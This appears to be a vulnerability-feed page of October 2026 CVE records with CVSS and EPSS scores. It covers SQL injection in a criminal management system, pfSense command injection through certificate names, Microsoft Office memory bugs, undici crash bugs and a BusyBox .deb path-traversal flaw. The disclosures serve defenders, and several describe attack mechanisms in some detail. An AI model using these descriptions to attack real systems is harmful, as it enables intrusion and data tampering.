A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of the file home.php of the component Submission Form. This manipulation of the argument id/name/offName/crime/dob/arrDate/crimeDate/sex/address/folder/more causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112151).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112151&date=2026-10-25).
Sources:
NVD CVE-2026-112151: https://nvd.nist.gov/vuln/detail/CVE-2026-112151
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112151&date=2026-10-25
A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of the file home.php of the component Submission Form. This manipulation of the argument id/name/offName/crime/dob/arrDate/crimeDate/sex/address/folder/more causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function...
https://kevwire.com/record/CVE-2026-112152
A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function... (Oct 19, 2026).
A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function mysqli_query of the file Officers/searchOff.php of the component Search Page. Such manipulation of the argument Search leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112152).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112152&date=2026-10-25).
Sources:
NVD CVE-2026-112152: https://nvd.nist.gov/vuln/detail/CVE-2026-112152
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112152&date=2026-10-25
A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function mysqli_query of the file Officers/searchOff.php of the component Search Page. Such manipulation of the argument Search leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file...
https://kevwire.com/record/CVE-2026-112153
A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file... (Oct 19, 2026).
A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file Officers/addOfficer.php of the component Officer Registration Form. Performing a manipulation of the argument offName/offID/ID/contact/gender/weapon/role results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112153).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112153&date=2026-10-25).
Sources:
NVD CVE-2026-112153: https://nvd.nist.gov/vuln/detail/CVE-2026-112153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112153&date=2026-10-25
A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file Officers/addOfficer.php of the component Officer Registration Form. Performing a manipulation of the argument offName/offID/ID/contact/gender/weapon/role results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko.
https://kevwire.com/record/CVE-2026-112158
A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko. (Oct 19, 2026).
A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko. Executing a manipulation can lead to integer overflow. The attack may be launched remotely. Upgrading to version 7.21.5 and 7.23.1 is recommended to address this issue. You should upgrade the affected component.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112158).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112158&date=2026-10-25).
Sources:
NVD CVE-2026-112158: https://nvd.nist.gov/vuln/detail/CVE-2026-112158
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112158&date=2026-10-25
A weakness has been identified in MikroTik RouterOS up to 6.40.5/6.44/7.20.8. Impacted is the function same_check of the file ipt_SAME.ko. Executing a manipulation can lead to integer overflow. The attack may be launched remotely. Upgrading to version 7.21.5 and 7.23.1 is recommended to address this issue. You should upgrade the affected component.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the...
https://kevwire.com/record/CVE-2026-111225
Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the... (Oct 15, 2026).
Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the unbound user. Attackers can embed shell metacharacters in the certificate common name or username, which is interpolated unquoted into su -c strings, when DNS Resolver client registration is enabled.
CVSS 2.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111225).
EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111225&date=2026-10-25).
Sources:
NVD CVE-2026-111225: https://nvd.nist.gov/vuln/detail/CVE-2026-111225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111225&date=2026-10-25
Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the unbound user. Attackers can embed shell metacharacters in the certificate common name or username, which is interpolated unquoted into su -c strings, when DNS Resolver client registration is enabled.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108443
Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108443).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108443&date=2026-10-25).
Sources:
NVD CVE-2026-108443: https://nvd.nist.gov/vuln/detail/CVE-2026-108443
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108443
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108443&date=2026-10-25
Off-by-one error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108444
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108444).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108444&date=2026-10-25).
Sources:
NVD CVE-2026-108444: https://nvd.nist.gov/vuln/detail/CVE-2026-108444
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108444&date=2026-10-25
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108445
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108445).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108445&date=2026-10-25).
Sources:
NVD CVE-2026-108445: https://nvd.nist.gov/vuln/detail/CVE-2026-108445
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108445
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108445&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108446
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108446).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108446&date=2026-10-25).
Sources:
NVD CVE-2026-108446: https://nvd.nist.gov/vuln/detail/CVE-2026-108446
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108446
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108446&date=2026-10-25
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-87018
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 4.2.1 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, the client process crashes when a TLS 1.2 server renegotiates after the connection is established and presents a different, CA-trusted certificate whose hostname does not match the requested host. Node.js re-runs hostname verification on the renegotiated handshake and destroys the socket with a certificate-altname error, but undici's established-socket error handler asserted that this error code could never occur, so the peer-controlled error became an uncaught assertion that terminates the Node.js process, affecting both the HTTP/1.1 and HTTP/2 paths. A malicious or compromised HTTPS endpoint reached through undici or the global fetch() can crash the client with a single server-initiated renegotiation, taking down all in-flight requests and background work in the process, and exploitation needs no CA compromise because the attacker controls the endpoint and can present two ordinary valid certificates. Only TLS 1.2 is affected, since TLS 1.3 does not support renegotiation. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, restrict outbound connections to TLS 1.3 so renegotiation cannot occur, when the target endpoints support it.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87018).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87018&date=2026-10-25).
Sources:
NVD CVE-2026-87018: https://nvd.nist.gov/vuln/detail/CVE-2026-87018
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87018&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 4.2.1 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, the client process crashes when a TLS 1.2 server renegotiates after the connection is established and presents a different, CA-trusted certificate whose hostname does not match the requested host. Node.js re-runs hostname verification on the renegotiated handshake and destroys the socket with a certificate-altname error, but undici's established-socket error handler asserted that this error code could never occur, so the peer-controlled error became an uncaught assertion that terminates the Node.js process, affecting both the HTTP/1.1 and HTTP/2 paths. A malicious or compromised HTTPS endpoint reached through undici or the global fetch() can crash the client with a single server-initiated renegotiation, taking down all in-flight requests and background work in the process, and exploitation needs no CA compromise because the attacker controls the endpoint and can present two ordinary valid certificates. Only TLS 1.2 is affected, since TLS 1.3 does not support renegotiation. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, restrict outbound connections to TLS 1.3 so renegotiation cannot occur, when the target endpoints support it.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-87029
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its decompress interceptor forwards decompressed response data to the downstream handler from zlib stream event callbacks without catching exceptions those callbacks may throw, and while undici's engine converts a synchronous throw from a downstream handler into a per-request failure, that protection is absent when the throw happens asynchronously from a zlib callback. As a result, a downstream handler that throws by design, such as the built-in dump interceptor which throws when a response exceeds its configured maximum size, escapes as an uncaught exception that terminates the Node.js process. A malicious or compromised HTTP server can crash any client that composes the decompress interceptor with such a handler by returning a small compressed body that decompresses to more than the configured limit, so only the decompressed size matters and the bytes on the wire stay tiny. The issue is fixed in undici 7.30.1 and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, avoid composing the decompress interceptor with a response handler that throws during response processing until upgrading.
CVSS 5.9 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87029).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87029&date=2026-10-25).
Sources:
NVD CVE-2026-87029: https://nvd.nist.gov/vuln/detail/CVE-2026-87029
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87029&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its decompress interceptor forwards decompressed response data to the downstream handler from zlib stream event callbacks without catching exceptions those callbacks may throw, and while undici's engine converts a synchronous throw from a downstream handler into a per-request failure, that protection is absent when the throw happens asynchronously from a zlib callback. As a result, a downstream handler that throws by design, such as the built-in dump interceptor which throws when a response exceeds its configured maximum size, escapes as an uncaught exception that terminates the Node.js process. A malicious or compromised HTTP server can crash any client that composes the decompress interceptor with such a handler by returning a small compressed body that decompresses to more than the configured limit, so only the decompressed size matters and the bytes on the wire stay tiny. The issue is fixed in undici 7.30.1 and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, avoid composing the decompress interceptor with a response handler that throws during response processing until upgrading.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108447
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108447).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108447&date=2026-10-25).
Sources:
NVD CVE-2026-108447: https://nvd.nist.gov/vuln/detail/CVE-2026-108447
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108447
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108447&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108448
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108448).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108448&date=2026-10-25).
Sources:
NVD CVE-2026-108448: https://nvd.nist.gov/vuln/detail/CVE-2026-108448
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108448
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108448&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108449
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108449).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108449&date=2026-10-25).
Sources:
NVD CVE-2026-108449: https://nvd.nist.gov/vuln/detail/CVE-2026-108449
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108449&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108450
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108450).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108450&date=2026-10-25).
Sources:
NVD CVE-2026-108450: https://nvd.nist.gov/vuln/detail/CVE-2026-108450
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108450&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108451
Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108451).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108451&date=2026-10-25).
Sources:
NVD CVE-2026-108451: https://nvd.nist.gov/vuln/detail/CVE-2026-108451
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108451
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108451&date=2026-10-25
Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108452
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 15, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108452).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108452&date=2026-10-25).
Sources:
NVD CVE-2026-108452: https://nvd.nist.gov/vuln/detail/CVE-2026-108452
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108452&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers...
https://kevwire.com/record/CVE-2026-90954
A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers... (Oct 14, 2026).
A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers which flush once after the last member. A specially crafted .deb archive with two data.tar members can exploit this ordering: the first member declares a symlink pointing to an absolute path (e.g., '/'), which is deferred as unsafe but flushed after the first member. The second member declares a regular file whose path traverses the now-live symlink, resulting in a file being written outside the intended extraction directory. This could allow an attacker to write arbitrary files to arbitrary locations when a user extracts a crafted .deb package.
CVSS 7.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90954).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90954&date=2026-10-25).
Sources:
NVD CVE-2026-90954: https://nvd.nist.gov/vuln/detail/CVE-2026-90954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90954&date=2026-10-25
